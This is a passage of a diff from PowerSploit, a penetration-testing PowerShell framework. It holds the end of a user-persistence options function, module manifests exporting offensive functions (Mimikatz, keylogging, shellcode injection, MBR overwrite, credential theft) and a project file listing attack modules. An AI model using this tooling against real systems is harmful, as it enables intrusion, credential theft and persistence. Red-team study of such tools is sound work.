Starts the payload at the specified time. You may specify times in the following formats: '12:31 AM', '2 AM', '23:00:00', or '4:06:26 PM'.
|
||||
|
||||
.EXAMPLE
|
||||
|
||||
C:\PS> $UserOptions = New-UserPersistenceOptions -Registry -AtLogon
|
||||
|
||||
.EXAMPLE
|
||||
|
||||
C:\PS> $UserOptions = New-UserPersistenceOptions -ScheduledTask -OnIdle
|
||||
|
||||
.LINK
|
||||
|
||||
http://www.exploit-monday.com
|
||||
#>
|
||||
|
||||
[CmdletBinding()] Param (
|
||||
[Parameter( ParameterSetName = 'ScheduledTaskDaily', Mandatory = $True )]
|
||||
[Parameter( ParameterSetName = 'ScheduledTaskOnIdle', Mandatory = $True )]
|
||||
[Switch]
|
||||
$ScheduledTask,
|
||||
|
||||
[Parameter( ParameterSetName = 'Registry', Mandatory = $True )]
|
||||
[Switch]
|
||||
$Registry,
|
||||
|
||||
[Parameter( ParameterSetName = 'ScheduledTaskDaily', Mandatory = $True )]
|
||||
[Switch]
|
||||
$Daily,
|
||||
|
||||
[Parameter( ParameterSetName = 'ScheduledTaskDaily', Mandatory = $True )]
|
||||
[DateTime]
|
||||
$At,
|
||||
|
||||
[Parameter( ParameterSetName = 'ScheduledTaskOnIdle', Mandatory = $True )]
|
||||
[Switch]
|
||||
$OnIdle,
|
||||
|
||||
[Parameter( ParameterSetName = 'Registry', Mandatory = $True )]
|
||||
[Switch]
|
||||
$AtLogon
|
||||
)
|
||||
|
||||
$PersistenceOptionsTable = @{
|
||||
Method = ''
|
||||
Trigger = ''
|
||||
Time = ''
|
||||
}
|
||||
|
||||
switch ($PSCmdlet.ParameterSetName)
|
||||
{
|
||||
'ScheduledTaskAtLogon'
|
||||
{
|
||||
$PersistenceOptionsTable['Method'] = 'ScheduledTask'
|
||||
$PersistenceOptionsTable['Trigger'] = 'AtLogon'
|
||||
}
|
||||
|
||||
'ScheduledTaskOnIdle'
|
||||
{
|
||||
$PersistenceOptionsTable['Method'] = 'ScheduledTask'
|
||||
$PersistenceOptionsTable['Trigger'] = 'OnIdle'
|
||||
}
|
||||
|
||||
'ScheduledTaskDaily'
|
||||
{
|
||||
$PersistenceOptionsTable['Method'] = 'ScheduledTask'
|
||||
$PersistenceOptionsTable['Trigger'] = 'Daily'
|
||||
$PersistenceOptionsTable['Time'] = $At
|
||||
}
|
||||
|
||||
'Registry'
|
||||
{
|
||||
$PersistenceOptionsTable['Method'] = 'Registry'
|
||||
$PersistenceOptionsTable['Trigger'] = 'AtLogon'
|
||||
}
|
||||
}
|
||||
|
||||
$PersistenceOptions = New-Object -TypeName PSObject -Property $PersistenceOptionsTable
|
||||
$PersistenceOptions.PSObject.TypeNames[0] = 'PowerSploit.Persistence.UserPersistenceOptions'
|
||||
|
||||
Write-Output $PersistenceOptions
|
||||
}
|
||||
@@ -1,10 +1,10 @@
|
||||
@{
|
||||
@{
|
||||
|
||||
# Script module or binary module file associated with this manifest.
|
||||
ModuleToProcess = 'Persistence.psm1'
|
||||
|
||||
# Version number of this module.
|
||||
ModuleVersion = '1.0.0.0'
|
||||
ModuleVersion = '3.0.0.0'
|
||||
|
||||
# ID used to uniquely identify this module
|
||||
GUID = '633d0f10-a056-41da-869d-6d2f75430195'
|
||||
@@ -24,14 +24,7 @@ PowerShellVersion = '2.0'
|
||||
# Functions to export from this module
|
||||
FunctionsToExport = '*'
|
||||
|
||||
# Cmdlets to export from this module
|
||||
CmdletsToExport = '*'
|
||||
|
||||
# List of all modules packaged with this module.
|
||||
ModuleList = @(@{ModuleName = 'Persistence'; ModuleVersion = '1.0.0.0'; GUID = '633d0f10-a056-41da-869d-6d2f75430195'})
|
||||
|
||||
# List of all files packaged with this module
|
||||
FileList = 'Persistence.psm1', 'Persistence.psd1', 'Add-Persistence.ps1', 'New-ElevatedPersistenceOptions.ps1',
|
||||
'New-UserPersistenceOptions.ps1', 'Usage.md'
|
||||
FileList = 'Persistence.psm1', 'Persistence.psd1', 'Usage.md'
|
||||
|
||||
}
|
||||
}
|
||||
|
||||
+1107
-3
File diff suppressed because it is too large
Load Diff
+147
-69
@@ -1,10 +1,9 @@
|
||||
@{
|
||||
|
||||
@{
|
||||
# Script module or binary module file associated with this manifest.
|
||||
ModuleToProcess = 'PowerSploit.psm1'
|
||||
|
||||
# Version number of this module.
|
||||
ModuleVersion = '1.0.0.0'
|
||||
ModuleVersion = '3.0.0.0'
|
||||
|
||||
# ID used to uniquely identify this module
|
||||
GUID = '6753b496-d842-40a3-924a-0f09e248640c'
|
||||
@@ -12,85 +11,164 @@ GUID = '6753b496-d842-40a3-924a-0f09e248640c'
|
||||
# Author of this module
|
||||
Author = 'Matthew Graeber'
|
||||
|
||||
# Company or vendor of this module
|
||||
CompanyName = ''
|
||||
|
||||
# Copyright statement for this module
|
||||
Copyright = 'BSD 3-Clause'
|
||||
|
||||
# Description of the functionality provided by this module
|
||||
Description = 'PowerSploit Root Module'
|
||||
Description = 'PowerSploit is a collection of Microsoft PowerShell modules that can be used to aid penetration testers and red team operator during all phases of an engagement.'
|
||||
|
||||
# Minimum version of the Windows PowerShell engine required by this module
|
||||
PowerShellVersion = '2.0'
|
||||
|
||||
# Name of the Windows PowerShell host required by this module
|
||||
# PowerShellHostName = ''
|
||||
|
||||
# Minimum version of the Windows PowerShell host required by this module
|
||||
# PowerShellHostVersion = ''
|
||||
|
||||
# Minimum version of the .NET Framework required by this module
|
||||
# DotNetFrameworkVersion = ''
|
||||
|
||||
# Minimum version of the common language runtime (CLR) required by this module
|
||||
# CLRVersion = ''
|
||||
|
||||
# Processor architecture (None, X86, Amd64) required by this module
|
||||
# ProcessorArchitecture = ''
|
||||
|
||||
# Modules that must be imported into the global environment prior to importing this module
|
||||
# RequiredModules = @()
|
||||
|
||||
# Assemblies that must be loaded prior to importing this module
|
||||
# RequiredAssemblies = @()
|
||||
|
||||
# Script files (.ps1) that are run in the caller's environment prior to importing this module.
|
||||
# ScriptsToProcess = ''
|
||||
|
||||
# Type files (.ps1xml) to be loaded when importing this module
|
||||
# TypesToProcess = @()
|
||||
|
||||
# Format files (.ps1xml) to be loaded when importing this module
|
||||
# FormatsToProcess = @()
|
||||
|
||||
# Modules to import as nested modules of the module specified in RootModule/ModuleToProcess
|
||||
# NestedModules = @()
|
||||
|
||||
# Functions to export from this module
|
||||
FunctionsToExport = '*'
|
||||
|
||||
# Cmdlets to export from this module
|
||||
CmdletsToExport = '*'
|
||||
|
||||
# Variables to export from this module
|
||||
VariablesToExport = ''
|
||||
|
||||
# Aliases to export from this module
|
||||
AliasesToExport = ''
|
||||
FunctionsToExport = @(
|
||||
'Add-NetUser',
|
||||
'Add-ObjectAcl',
|
||||
'Add-Persistence',
|
||||
'Add-ServiceDacl',
|
||||
'Convert-NameToSid',
|
||||
'Convert-NT4toCanonical',
|
||||
'Convert-SidToName',
|
||||
'Copy-ClonedFile',
|
||||
'Find-AVSignature',
|
||||
'Find-ComputerField',
|
||||
'Find-ForeignGroup',
|
||||
'Find-ForeignUser',
|
||||
'Find-GPOComputerAdmin',
|
||||
'Find-GPOLocation',
|
||||
'Find-InterestingFile',
|
||||
'Find-LocalAdminAccess',
|
||||
'Find-PathDLLHijack',
|
||||
'Find-ProcessDLLHijack',
|
||||
'Find-ManagedSecurityGroups',
|
||||
'Find-UserField',
|
||||
'Get-ADObject',
|
||||
'Get-ApplicationHost',
|
||||
'Get-CachedRDPConnection',
|
||||
'Get-ComputerDetails',
|
||||
'Get-ComputerProperty',
|
||||
'Get-CurrentUserTokenGroupSid',
|
||||
'Get-DFSshare',
|
||||
'Get-DomainPolicy',
|
||||
'Get-ExploitableSystem',
|
||||
'Get-GPPPassword',
|
||||
'Get-HttpStatus',
|
||||
'Get-Keystrokes',
|
||||
'Get-LastLoggedOn',
|
||||
'Get-ModifiablePath',
|
||||
'Get-ModifiableRegistryAutoRun',
|
||||
'Get-ModifiableScheduledTaskFile',
|
||||
'Get-ModifiableService',
|
||||
'Get-ModifiableServiceFile',
|
||||
'Get-NetComputer',
|
||||
'Get-NetDomain',
|
||||
'Get-NetDomainController',
|
||||
'Get-NetDomainTrust',
|
||||
'Get-NetFileServer',
|
||||
'Get-NetForest',
|
||||
'Get-NetForestCatalog',
|
||||
'Get-NetForestDomain',
|
||||
'Get-NetForestTrust',
|
||||
'Get-NetGPO',
|
||||
'Get-NetGPOGroup',
|
||||
'Get-NetGroup',
|
||||
'Get-NetGroupMember',
|
||||
'Get-NetLocalGroup',
|
||||
'Get-NetLoggedon',
|
||||
'Get-NetOU',
|
||||
'Get-NetProcess',
|
||||
'Get-NetRDPSession',
|
||||
'Get-NetSession',
|
||||
'Get-NetShare',
|
||||
'Get-NetSite',
|
||||
'Get-NetSubnet',
|
||||
'Get-NetUser',
|
||||
'Get-ObjectAcl',
|
||||
'Get-PathAcl',
|
||||
'Get-Proxy',
|
||||
'Get-RegistryAlwaysInstallElevated',
|
||||
'Get-RegistryAutoLogon',
|
||||
'Get-SecurityPackages',
|
||||
'Get-ServiceDetail',
|
||||
'Get-SiteListPassword',
|
||||
'Get-System',
|
||||
'Get-TimedScreenshot',
|
||||
'Get-UnattendedInstallFile',
|
||||
'Get-UnquotedService',
|
||||
'Get-UserEvent',
|
||||
'Get-UserProperty',
|
||||
'Get-VaultCredential',
|
||||
'Get-VolumeShadowCopy',
|
||||
'Get-Webconfig',
|
||||
'Install-ServiceBinary',
|
||||
'Install-SSP',
|
||||
'Invoke-ACLScanner',
|
||||
'Invoke-CheckLocalAdminAccess',
|
||||
'Invoke-CredentialInjection',
|
||||
'Invoke-DllInjection',
|
||||
'Invoke-EnumerateLocalAdmin',
|
||||
'Invoke-EventHunter',
|
||||
'Invoke-FileFinder',
|
||||
'Invoke-MapDomainTrust',
|
||||
'Invoke-Mimikatz',
|
||||
'Invoke-NinjaCopy',
|
||||
'Invoke-Portscan',
|
||||
'Invoke-PrivescAudit',
|
||||
'Invoke-ProcessHunter',
|
||||
'Invoke-ReflectivePEInjection',
|
||||
'Invoke-ReverseDnsLookup',
|
||||
'Invoke-ServiceAbuse',
|
||||
'Invoke-ShareFinder',
|
||||
'Invoke-Shellcode',
|
||||
'Invoke-TokenManipulation',
|
||||
'Invoke-UserHunter',
|
||||
'Invoke-WmiCommand',
|
||||
'Mount-VolumeShadowCopy',
|
||||
'New-ElevatedPersistenceOption',
|
||||
'New-UserPersistenceOption',
|
||||
'New-VolumeShadowCopy',
|
||||
'Out-CompressedDll',
|
||||
'Out-EncodedCommand',
|
||||
'Out-EncryptedScript',
|
||||
'Out-Minidump',
|
||||
'Remove-Comments',
|
||||
'Remove-VolumeShadowCopy',
|
||||
'Restore-ServiceBinary',
|
||||
'Set-ADObject',
|
||||
'Set-CriticalProcess',
|
||||
'Set-MacAttribute',
|
||||
'Set-MasterBootRecord',
|
||||
'Set-ServiceBinPath',
|
||||
'Test-ServiceDaclPermission',
|
||||
'Write-HijackDll',
|
||||
'Write-ServiceBinary',
|
||||
'Write-UserAddMSI'
|
||||
)
|
||||
|
||||
# List of all modules packaged with this module.
|
||||
ModuleList = @( @{ModuleName = 'PowerSploit'; ModuleVersion = '1.0.0.0'; GUID = '6753b496-d842-40a3-924a-0f09e248640c'},
|
||||
@{ModuleName = 'AntivirusBypass'; ModuleVersion = '1.0.0.0'; GUID = '7cf9de61-2bfc-41b4-a397-9d7cf3a8e66b'},
|
||||
@{ModuleName = 'CodeExecution'; ModuleVersion = '1.0.0.0'; GUID = 'a8a6780b-e694-4aa4-b28d-646afa66733c'},
|
||||
@{ModuleName = 'Exfiltration'; ModuleVersion = '1.0.0.0'; GUID = '75dafa99-1402-4e29-b5d4-6c87da2b323a'},
|
||||
@{ModuleName = 'PETools'; ModuleVersion = '1.0.0.0'; GUID = 'd15059e2-8bd9-47ff-8bcd-b708ff90e402'},
|
||||
@{ModuleName = 'Recon'; ModuleVersion = '1.0.0.0'; GUID = '7e775ad6-cd3d-4a93-b788-da067274c877'},
|
||||
@{ModuleName = 'ReverseEngineering'; ModuleVersion = '1.0.0.0'; GUID = 'cbffaf47-c55a-4901-92e7-8d794fbe1fff'},
|
||||
@{ModuleName = 'ScriptModification'; ModuleVersion = '1.0.0.0'; GUID = 'a4d86266-b39b-437a-b5bb-d6f99aa6e610'},
|
||||
@{ModuleName = 'Persistence'; ModuleVersion = '1.0.0.0'; GUID = '633d0f10-a056-41da-869d-6d2f75430195'}
|
||||
)
|
||||
ModuleList = @( @{ModuleName = 'AntivirusBypass'; ModuleVersion = '3.0.0.0'; GUID = '7cf9de61-2bfc-41b4-a397-9d7cf3a8e66b'},
|
||||
@{ModuleName = 'CodeExecution'; ModuleVersion = '3.0.0.0'; GUID = 'a8a6780b-e694-4aa4-b28d-646afa66733c'},
|
||||
@{ModuleName = 'Exfiltration'; ModuleVersion = '3.0.0.0'; GUID = '75dafa99-1402-4e29-b5d4-6c87da2b323a'},
|
||||
@{ModuleName = 'Recon'; ModuleVersion = '3.0.0.0'; GUID = '7e775ad6-cd3d-4a93-b788-da067274c877'},
|
||||
@{ModuleName = 'ScriptModification'; ModuleVersion = '3.0.0.0'; GUID = 'a4d86266-b39b-437a-b5bb-d6f99aa6e610'},
|
||||
@{ModuleName = 'Persistence'; ModuleVersion = '3.0.0.0'; GUID = '633d0f10-a056-41da-869d-6d2f75430195'},
|
||||
@{ModuleName = 'PrivEsc'; ModuleVersion = '3.0.0.0'; GUID = 'efb2a78f-a069-4bfd-91c2-7c7c0c225f56'} )
|
||||
|
||||
# List of all files packaged with this module
|
||||
FileList = 'PowerSploit.psd1', 'PowerSploit.psm1'
|
||||
PrivateData = @{
|
||||
|
||||
# Private data to pass to the module specified in RootModule/ModuleToProcess
|
||||
# PrivateData = ''
|
||||
PSData = @{
|
||||
|
||||
# HelpInfo URI of this module
|
||||
# HelpInfoURI = ''
|
||||
# Tags applied to this module. These help with module discovery in online galleries.
|
||||
Tags = @('security','pentesting','red team','offense')
|
||||
|
||||
# Default prefix for commands exported from this module. Override the default prefix using Import-Module -Prefix.
|
||||
# DefaultCommandPrefix = ''
|
||||
# A URL to the license for this module.
|
||||
LicenseUri = 'http://www.apache.org/licenses/LICENSE-2.0.html'
|
||||
|
||||
}
|
||||
# A URL to the main website for this project.
|
||||
ProjectUri = 'https://github.com/PowerShellMafia/PowerSploit'
|
||||
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
+1
-1
@@ -1 +1 @@
|
||||
Get-ChildItem $PSScriptRoot | ? { $_.PSIsContainer } | % { Import-Module $_.FullName }
|
||||
Get-ChildItem $PSScriptRoot | ? { $_.PSIsContainer -and !('Tests','docs' -contains $_.Name) } | % { Import-Module $_.FullName -DisableNameChecking }
|
||||
|
||||
@@ -0,0 +1,210 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<Project ToolsVersion="4.0" DefaultTargets="Build" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||
<PropertyGroup>
|
||||
<Configuration Condition=" '$(Configuration)' == '' ">Release</Configuration>
|
||||
<SchemaVersion>2.0</SchemaVersion>
|
||||
<ProjectGuid>6CAFC0C6-A428-4d30-A9F9-700E829FEA51</ProjectGuid>
|
||||
<OutputType>Exe</OutputType>
|
||||
<RootNamespace>PowerSploit</RootNamespace>
|
||||
<AssemblyName>PowerSploit</AssemblyName>
|
||||
<Name>PowerSploit</Name>
|
||||
<ProjectHome />
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Release|AnyCPU' ">
|
||||
<DebugType>pdbonly</DebugType>
|
||||
<Optimize>true</Optimize>
|
||||
<OutputPath>bin\Release\</OutputPath>
|
||||
<DefineConstants>TRACE</DefineConstants>
|
||||
<ErrorReport>prompt</ErrorReport>
|
||||
<WarningLevel>4</WarningLevel>
|
||||
</PropertyGroup>
|
||||
<ItemGroup>
|
||||
<Compile Include="AntivirusBypass\AntivirusBypass.psd1" />
|
||||
<Compile Include="AntivirusBypass\AntivirusBypass.psm1" />
|
||||
<Compile Include="AntivirusBypass\Find-AVSignature.ps1" />
|
||||
<Compile Include="AntivirusBypass\Usage.md" />
|
||||
<Compile Include="CodeExecution\CodeExecution.psd1" />
|
||||
<Compile Include="CodeExecution\CodeExecution.psm1" />
|
||||
<Compile Include="CodeExecution\Invoke-DllInjection.ps1" />
|
||||
<Compile Include="CodeExecution\Invoke-ReflectivePEInjection.ps1" />
|
||||
<Compile Include="CodeExecution\Invoke-ReflectivePEInjection_Resources\DemoDLL\DemoDLL.sln" />
|
||||
<Compile Include="CodeExecution\Invoke-ReflectivePEInjection_Resources\DemoDLL\DemoDLL\DemoDLL.cpp" />
|
||||
<Compile Include="CodeExecution\Invoke-ReflectivePEInjection_Resources\DemoDLL\DemoDLL\DemoDLL.h" />
|
||||
<Compile Include="CodeExecution\Invoke-ReflectivePEInjection_Resources\DemoDLL\DemoDLL\DemoDLL.vcxproj" />
|
||||
<Compile Include="CodeExecution\Invoke-ReflectivePEInjection_Resources\DemoDLL\DemoDLL\DemoDLL.vcxproj.filters" />
|
||||
<Compile Include="CodeExecution\Invoke-ReflectivePEInjection_Resources\DemoDLL\DemoDLL\dllmain.cpp" />
|
||||
<Compile Include="CodeExecution\Invoke-ReflectivePEInjection_Resources\DemoDLL\DemoDLL\ReadMe.txt" />
|
||||
<Compile Include="CodeExecution\Invoke-ReflectivePEInjection_Resources\DemoDLL\DemoDLL\stdafx.cpp" />
|
||||
<Compile Include="CodeExecution\Invoke-ReflectivePEInjection_Resources\DemoDLL\DemoDLL\stdafx.h" />
|
||||
<Compile Include="CodeExecution\Invoke-ReflectivePEInjection_Resources\DemoDLL\DemoDLL\targetver.h" />
|
||||
<Compile Include="CodeExecution\Invoke-ReflectivePEInjection_Resources\DemoDLL_RemoteProcess\DemoDLL_RemoteProcess.sln" />
|
||||
<Compile Include="CodeExecution\Invoke-ReflectivePEInjection_Resources\DemoDLL_RemoteProcess\DemoDLL_RemoteProcess\DemoDLL_RemoteProcess.cpp" />
|
||||
<Compile Include="CodeExecution\Invoke-ReflectivePEInjection_Resources\DemoDLL_RemoteProcess\DemoDLL_RemoteProcess\DemoDLL_RemoteProcess.vcxproj" />
|
||||
<Compile Include="CodeExecution\Invoke-ReflectivePEInjection_Resources\DemoDLL_RemoteProcess\DemoDLL_RemoteProcess\DemoDLL_RemoteProcess.vcxproj.filters" />
|
||||
<Compile Include="CodeExecution\Invoke-ReflectivePEInjection_Resources\DemoDLL_RemoteProcess\DemoDLL_RemoteProcess\dllmain.cpp" />
|
||||
<Compile Include="CodeExecution\Invoke-ReflectivePEInjection_Resources\DemoDLL_RemoteProcess\DemoDLL_RemoteProcess\ReadMe.txt" />
|
||||
<Compile Include="CodeExecution\Invoke-ReflectivePEInjection_Resources\DemoDLL_RemoteProcess\DemoDLL_RemoteProcess\stdafx.cpp" />
|
||||
<Compile Include="CodeExecution\Invoke-ReflectivePEInjection_Resources\DemoDLL_RemoteProcess\DemoDLL_RemoteProcess\stdafx.h" />
|
||||
<Compile Include="CodeExecution\Invoke-ReflectivePEInjection_Resources\DemoDLL_RemoteProcess\DemoDLL_RemoteProcess\targetver.h" />
|
||||
<Compile Include="CodeExecution\Invoke-ReflectivePEInjection_Resources\DemoExe\DemoExe.sln" />
|
||||
<Compile Include="CodeExecution\Invoke-ReflectivePEInjection_Resources\DemoExe\DemoExe_MDd\DemoExe_MDd.cpp" />
|
||||
<Compile Include="CodeExecution\Invoke-ReflectivePEInjection_Resources\DemoExe\DemoExe_MDd\DemoExe_MDd.vcxproj" />
|
||||
<Compile Include="CodeExecution\Invoke-ReflectivePEInjection_Resources\DemoExe\DemoExe_MDd\DemoExe_MDd.vcxproj.filters" />
|
||||
<Compile Include="CodeExecution\Invoke-ReflectivePEInjection_Resources\DemoExe\DemoExe_MDd\ReadMe.txt" />
|
||||
<Compile Include="CodeExecution\Invoke-ReflectivePEInjection_Resources\DemoExe\DemoExe_MDd\stdafx.cpp" />
|
||||
<Compile Include="CodeExecution\Invoke-ReflectivePEInjection_Resources\DemoExe\DemoExe_MDd\stdafx.h" />
|
||||
<Compile Include="CodeExecution\Invoke-ReflectivePEInjection_Resources\DemoExe\DemoExe_MDd\targetver.h" />
|
||||
<Compile Include="CodeExecution\Invoke-ReflectivePEInjection_Resources\DemoExe\DemoExe_MD\DemoExe_MD.cpp" />
|
||||
<Compile Include="CodeExecution\Invoke-ReflectivePEInjection_Resources\DemoExe\DemoExe_MD\DemoExe_MD.vcxproj" />
|
||||
<Compile Include="CodeExecution\Invoke-ReflectivePEInjection_Resources\DemoExe\DemoExe_MD\DemoExe_MD.vcxproj.filters" />
|
||||
<Compile Include="CodeExecution\Invoke-ReflectivePEInjection_Resources\DemoExe\DemoExe_MD\ReadMe.txt" />
|
||||
<Compile Include="CodeExecution\Invoke-ReflectivePEInjection_Resources\DemoExe\DemoExe_MD\stdafx.cpp" />
|
||||
<Compile Include="CodeExecution\Invoke-ReflectivePEInjection_Resources\DemoExe\DemoExe_MD\stdafx.h" />
|
||||
<Compile Include="CodeExecution\Invoke-ReflectivePEInjection_Resources\DemoExe\DemoExe_MD\targetver.h" />
|
||||
<Compile Include="CodeExecution\Invoke-ReflectivePEInjection_Resources\ExeToInjectInTo\ExeToInjectInTo.sln" />
|
||||
<Compile Include="CodeExecution\Invoke-ReflectivePEInjection_Resources\ExeToInjectInTo\ExeToInjectInTo\ExeToInjectInTo.cpp" />
|
||||
<Compile Include="CodeExecution\Invoke-ReflectivePEInjection_Resources\ExeToInjectInTo\ExeToInjectInTo\ExeToInjectInTo.vcxproj" />
|
||||
<Compile Include="CodeExecution\Invoke-ReflectivePEInjection_Resources\ExeToInjectInTo\ExeToInjectInTo\ExeToInjectInTo.vcxproj.filters" />
|
||||
<Compile Include="CodeExecution\Invoke-ReflectivePEInjection_Resources\ExeToInjectInTo\ExeToInjectInTo\ReadMe.txt" />
|
||||
<Compile Include="CodeExecution\Invoke-ReflectivePEInjection_Resources\ExeToInjectInTo\ExeToInjectInTo\stdafx.cpp" />
|
||||
<Compile Include="CodeExecution\Invoke-ReflectivePEInjection_Resources\ExeToInjectInTo\ExeToInjectInTo\stdafx.h" />
|
||||
<Compile Include="CodeExecution\Invoke-ReflectivePEInjection_Resources\ExeToInjectInTo\ExeToInjectInTo\targetver.h" />
|
||||
<Compile Include="CodeExecution\Invoke-ReflectivePEInjection_Resources\Shellcode\readme.txt" />
|
||||
<Compile Include="CodeExecution\Invoke-ReflectivePEInjection_Resources\Shellcode\x64\CallDllMain.asm" />
|
||||
<Compile Include="CodeExecution\Invoke-ReflectivePEInjection_Resources\Shellcode\x64\ExitThread.asm" />
|
||||
<Compile Include="CodeExecution\Invoke-ReflectivePEInjection_Resources\Shellcode\x64\GetFuncAddress.asm" />
|
||||
<Compile Include="CodeExecution\Invoke-ReflectivePEInjection_Resources\Shellcode\x64\LoadLibraryA.asm" />
|
||||
<Compile Include="CodeExecution\Invoke-ReflectivePEInjection_Resources\Shellcode\x86\CallDllMain.asm" />
|
||||
<Compile Include="CodeExecution\Invoke-ReflectivePEInjection_Resources\Shellcode\x86\ExitThread.asm" />
|
||||
<Compile Include="CodeExecution\Invoke-ReflectivePEInjection_Resources\Shellcode\x86\GetProcAddress.asm" />
|
||||
<Compile Include="CodeExecution\Invoke-Shellcode.ps1" />
|
||||
<Compile Include="CodeExecution\Invoke-WmiCommand.ps1" />
|
||||
<Compile Include="CodeExecution\Usage.md" />
|
||||
<Compile Include="Exfiltration\Exfiltration.psd1" />
|
||||
<Compile Include="Exfiltration\Exfiltration.psm1" />
|
||||
<Compile Include="Exfiltration\Get-GPPPassword.ps1" />
|
||||
<Compile Include="Exfiltration\Get-Keystrokes.ps1" />
|
||||
<Compile Include="Exfiltration\Get-TimedScreenshot.ps1" />
|
||||
<Compile Include="Exfiltration\Get-VaultCredential.ps1" />
|
||||
<Compile Include="Exfiltration\Get-VaultCredential.ps1xml" />
|
||||
<Compile Include="Exfiltration\Invoke-CredentialInjection.ps1" />
|
||||
<Compile Include="Exfiltration\Invoke-Mimikatz.ps1" />
|
||||
<Compile Include="Exfiltration\Invoke-NinjaCopy.ps1" />
|
||||
<Compile Include="Exfiltration\Invoke-TokenManipulation.ps1" />
|
||||
<Compile Include="Exfiltration\LogonUser\LogonUser\LogonUser.sln" />
|
||||
<Compile Include="Exfiltration\LogonUser\LogonUser\LogonUser\LogonUser.cpp" />
|
||||
<Compile Include="Exfiltration\LogonUser\LogonUser\LogonUser\LogonUser.vcxproj" />
|
||||
<Compile Include="Exfiltration\LogonUser\LogonUser\LogonUser\LogonUser.vcxproj.filters" />
|
||||
<Compile Include="Exfiltration\LogonUser\LogonUser\LogonUser\ReadMe.txt" />
|
||||
<Compile Include="Exfiltration\LogonUser\LogonUser\LogonUser\stdafx.cpp" />
|
||||
<Compile Include="Exfiltration\LogonUser\LogonUser\LogonUser\stdafx.h" />
|
||||
<Compile Include="Exfiltration\LogonUser\LogonUser\LogonUser\targetver.h" />
|
||||
<Compile Include="Exfiltration\LogonUser\LogonUser\logon\dllmain.cpp" />
|
||||
<Compile Include="Exfiltration\LogonUser\LogonUser\logon\logon.cpp" />
|
||||
<Compile Include="Exfiltration\LogonUser\LogonUser\logon\logon.vcxproj" />
|
||||
<Compile Include="Exfiltration\LogonUser\LogonUser\logon\logon.vcxproj.filters" />
|
||||
<Compile Include="Exfiltration\LogonUser\LogonUser\logon\ReadMe.txt" />
|
||||
<Compile Include="Exfiltration\LogonUser\LogonUser\logon\stdafx.cpp" />
|
||||
<Compile Include="Exfiltration\LogonUser\LogonUser\logon\stdafx.h" />
|
||||
<Compile Include="Exfiltration\LogonUser\LogonUser\logon\targetver.h" />
|
||||
<Compile Include="Exfiltration\NTFSParser\NTFSParser.sln" />
|
||||
<Compile Include="Exfiltration\NTFSParser\NTFSParserDLL\dllmain.cpp" />
|
||||
<Compile Include="Exfiltration\NTFSParser\NTFSParserDLL\NTFS.h" />
|
||||
<Compile Include="Exfiltration\NTFSParser\NTFSParserDLL\NTFSParserDLL.cpp" />
|
||||
<Compile Include="Exfiltration\NTFSParser\NTFSParserDLL\NTFSParserDLL.vcxproj" />
|
||||
<Compile Include="Exfiltration\NTFSParser\NTFSParserDLL\NTFSParserDLL.vcxproj.filters" />
|
||||
<Compile Include="Exfiltration\NTFSParser\NTFSParserDLL\NTFS_Attribute.h" />
|
||||
<Compile Include="Exfiltration\NTFSParser\NTFSParserDLL\NTFS_Common.h" />
|
||||
<Compile Include="Exfiltration\NTFSParser\NTFSParserDLL\NTFS_DataType.h" />
|
||||
<Compile Include="Exfiltration\NTFSParser\NTFSParserDLL\NTFS_FileRecord.h" />
|
||||
<Compile Include="Exfiltration\NTFSParser\NTFSParserDLL\ReadMe.txt" />
|
||||
<Compile Include="Exfiltration\NTFSParser\NTFSParserDLL\stdafx.cpp" />
|
||||
<Compile Include="Exfiltration\NTFSParser\NTFSParserDLL\stdafx.h" />
|
||||
<Compile Include="Exfiltration\NTFSParser\NTFSParserDLL\targetver.h" />
|
||||
<Compile Include="Exfiltration\NTFSParser\NTFSParser\NTFS.h" />
|
||||
<Compile Include="Exfiltration\NTFSParser\NTFSParser\NTFSParser.cpp" />
|
||||
<Compile Include="Exfiltration\NTFSParser\NTFSParser\NTFSParser.vcxproj" />
|
||||
<Compile Include="Exfiltration\NTFSParser\NTFSParser\NTFSParser.vcxproj.filters" />
|
||||
<Compile Include="Exfiltration\NTFSParser\NTFSParser\NTFS_Attribute.h" />
|
||||
<Compile Include="Exfiltration\NTFSParser\NTFSParser\NTFS_Common.h" />
|
||||
<Compile Include="Exfiltration\NTFSParser\NTFSParser\NTFS_DataType.h" />
|
||||
<Compile Include="Exfiltration\NTFSParser\NTFSParser\NTFS_FileRecord.h" />
|
||||
<Compile Include="Exfiltration\NTFSParser\NTFSParser\ReadMe.txt" />
|
||||
<Compile Include="Exfiltration\NTFSParser\NTFSParser\stdafx.cpp" />
|
||||
<Compile Include="Exfiltration\NTFSParser\NTFSParser\stdafx.h" />
|
||||
<Compile Include="Exfiltration\NTFSParser\NTFSParser\targetver.h" />
|
||||
<Compile Include="Exfiltration\Out-Minidump.ps1" />
|
||||
<Compile Include="Exfiltration\Usage.md" />
|
||||
<Compile Include="Exfiltration\VolumeShadowCopyTools.ps1" />
|
||||
<Compile Include="LICENSE" />
|
||||
<Compile Include="Mayhem\Mayhem.psd1" />
|
||||
<Compile Include="Mayhem\Mayhem.psm1" />
|
||||
<Compile Include="Mayhem\Usage.md" />
|
||||
<Compile Include="Persistence\Persistence.psd1" />
|
||||
<Compile Include="Persistence\Persistence.psm1" />
|
||||
<Compile Include="Persistence\Usage.md" />
|
||||
<Compile Include="PowerSploit.psd1" />
|
||||
<Compile Include="PowerSploit.psm1" />
|
||||
<Compile Include="Privesc\PowerUp.ps1" />
|
||||
<Compile Include="Privesc\Privesc.psd1" />
|
||||
<Compile Include="Privesc\Privesc.psm1" />
|
||||
<Compile Include="Privesc\README.md" />
|
||||
<Compile Include="README.md" />
|
||||
<Compile Include="Recon\Dictionaries\admin.txt" />
|
||||
<Compile Include="Recon\Dictionaries\generic.txt" />
|
||||
<Compile Include="Recon\Dictionaries\sharepoint.txt" />
|
||||
<Compile Include="Recon\Get-ComputerDetails.ps1" />
|
||||
<Compile Include="Recon\Get-HttpStatus.ps1" />
|
||||
<Compile Include="Recon\Invoke-Portscan.ps1" />
|
||||
<Compile Include="Recon\Invoke-ReverseDnsLookup.ps1" />
|
||||
<Compile Include="Recon\PowerView.ps1" />
|
||||
<Compile Include="Recon\README.md" />
|
||||
<Compile Include="Recon\Recon.psd1" />
|
||||
<Compile Include="Recon\Recon.psm1" />
|
||||
